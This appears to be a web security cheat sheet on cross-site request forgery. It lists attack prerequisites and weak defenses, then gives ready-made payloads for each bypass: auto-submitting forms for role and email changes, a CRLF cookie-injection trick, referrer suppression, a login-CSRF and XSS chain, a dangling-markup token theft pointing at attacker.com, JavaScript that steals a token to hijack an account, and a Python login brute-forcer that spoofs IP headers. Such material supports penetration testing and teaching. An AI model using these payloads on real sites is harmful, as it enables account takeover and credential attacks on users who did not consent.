Skip to main content
Cross-Site Request Forgery (CSRF) exploits a web application’s trust in an authenticated user’s browser. An attacker tricks a victim into sending a forged request using their active session.

Prerequisites for a CSRF Attack

  1. A valuable action — password change, email change, privilege escalation
  2. Cookie-only session management — session maintained via cookies or HTTP Basic Auth
  3. No unpredictable parameters — no unique tokens required

Defenses and Their Pitfalls

DefensePitfall
CSRF tokensOnly validated when present; empty token may be accepted
SameSite=LaxStill allows top-level cross-site navigations (form GETs)
Referer checkBypass with meta name="referrer" content="never" or regex tricks
Custom headersX-Requested-With can sometimes be spoofed

Token Bypass Techniques

Missing Token Validation

# Remove the CSRF parameter entirely or send empty value
POST /admin/users/role HTTP/2
Content-Type: application/x-www-form-urlencoded

username=guest&role=admin&csrf=
<!-- Auto-submit PoC -->
<html><body>
  <form action="https://example.com/admin/users/role" method="POST">
    <input type="hidden" name="username" value="guest" />
    <input type="hidden" name="role" value="admin" />
    <input type="hidden" name="csrf" value="" />
  </form>
  <script>history.pushState('', '', '/'); document.forms[0].submit();</script>
</body></html>

Token Not Tied to User Session

If tokens are validated against a global pool:
  1. Authenticate with your own account
  2. Obtain a valid token from the pool
  3. Use that token in a CSRF attack against another victim

POST to GET Method Bypass

Some applications only validate CSRF on POST:
# Original POST (with token)
POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
__csrf_token=sid:...&widgetInfoList=[{"widgetId":"..."}]

# Bypass as GET (no token needed)
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{...}] HTTP/1.1

Method Override

# Use _method parameter to override HTTP method
POST /users/delete HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=admin&_method=DELETE
Override headers: X-HTTP-Method, X-HTTP-Method-Override, X-Method-Override If the token is in both cookie and request body, exploit CRLF injection to set the cookie:
<html><body>
  <form action="https://example.com/my-account/change-email" method="POST">
    <input type="hidden" name="email" value="[email protected]" />
    <input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
  </form>
  <img src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E"
       onerror="document.forms[0].submit();" />
</body></html>

Referrer Bypass

<!-- Suppress Referer header -->
<meta name="referrer" content="never">

<!-- Include target domain in attacker URL query string -->
<script>
  history.pushState("", "", "?victim-domain.com")
  document.forms[0].submit()
</script>

PoC Templates

<html><body>
  <form method="GET" action="https://victim.net/email/change-email">
    <input type="hidden" name="email" value="[email protected]" />
  </form>
  <script>history.pushState('', '', '/'); document.forms[0].submit();</script>
</body></html>

Stored CSRF via HTML Injection

<!-- Any user viewing this content performs the request automatically -->
<img src="https://example.com/account/[email protected]" alt="">

Login CSRF + Stored XSS Chain

Force the victim to log into an attacker-controlled account, then navigate to a page with stored XSS:
<html><body>
  <form action="https://example.com/login" method="POST">
    <input type="hidden" name="username" value="[email protected]" />
    <input type="hidden" name="password" value="StrongPass123!" />
  </form>
  <script>
    history.pushState('', '', '/');
    document.forms[0].submit();
  </script>
</body></html>

Exfiltrating CSRF Tokens

If a CSRF token is in use, exfiltrate it via:
  • XSS — make the victim’s browser read and send the token
  • Dangling Markup — steal tokens from page attributes using <img src="http://attacker.com/
// Steal token and make a POST
var xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("GET", "http://victim.com/profile", true);
xhr.onload = function() {
    var token = this.responseText.match(/name="token" value="(.+)"/)[1];
    var xhr2 = new XMLHttpRequest();
    xhr2.withCredentials = true;
    xhr2.open("POST", "http://victim.com/email/change", true);
    xhr2.send("[email protected]&token=" + token);
};
xhr.send();

CSRF Brute Force Script

import requests, re, random

URL = "http://10.10.10.191/admin/"
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"

def get_csrf_and_cookie():
    r = requests.get(URL)
    csrf = re.search(r'name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text).group(1)
    cookie = r.cookies.get(SESSION_COOKIE_NAME)
    return csrf, cookie

def login(user, password):
    csrf, cookie = get_csrf_and_cookie()
    data = {"tokenCSRF": csrf, "username": user, "password": password}
    headers = {"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.0.1"}
    r = requests.post(URL, data=data,
                      cookies={SESSION_COOKIE_NAME: cookie},
                      headers=headers)
    return "Username or password incorrect" not in r.text

Tools

Build docs developers (and LLMs) love